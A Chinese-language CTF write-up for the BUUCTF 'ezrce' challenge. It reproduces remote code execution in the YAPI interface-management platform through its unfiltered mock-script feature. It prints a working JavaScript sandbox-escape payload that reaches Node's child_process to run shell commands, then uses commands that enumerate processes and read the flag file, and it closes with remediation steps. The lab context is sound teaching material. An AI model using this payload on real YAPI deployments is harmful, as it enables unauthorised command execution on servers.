实验靶机
BUUCTF :题目 ezrce
漏洞详情
YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项目,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。
YAPI使用mock数据/脚本作为中间交互层,其中mock数据通过设定固定数据返回固定内容,对于需要根据用户请求定制化响应内容的情况mock脚本通过写JS脚本的方式处理用户请求参数返回定制化内容,本次漏洞就是发生在mock脚本服务上。由于mock脚本自定义服务未对JS脚本加以命令过滤,用户可以添加任何请求处理脚本,因此可以在脚本中植入命令,等用户访问接口发起请求时触发命令执行。
复现
首先打开是一个首页 可以登录注册
随便注册一个用户然后登陆
点击添加项目
点击设置---全局mock脚本 开启 并且添加脚本 然后保存
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()
在接口列表----公共分类 添加接口
点击Mock地址 访问
反显出当前用户 app
whoami && ps -ef 查看所有
然后再寻找flag
ls /
cat /ffffffflllllaggggg
得到flag
漏洞修复
1.关闭YAPI用户注册功能,阻断攻击者注册;
2.删除恶意已注册用户,避免攻击者再次添加mock脚本;
3.删除恶意mock脚本,防止被再次访问触发;
建议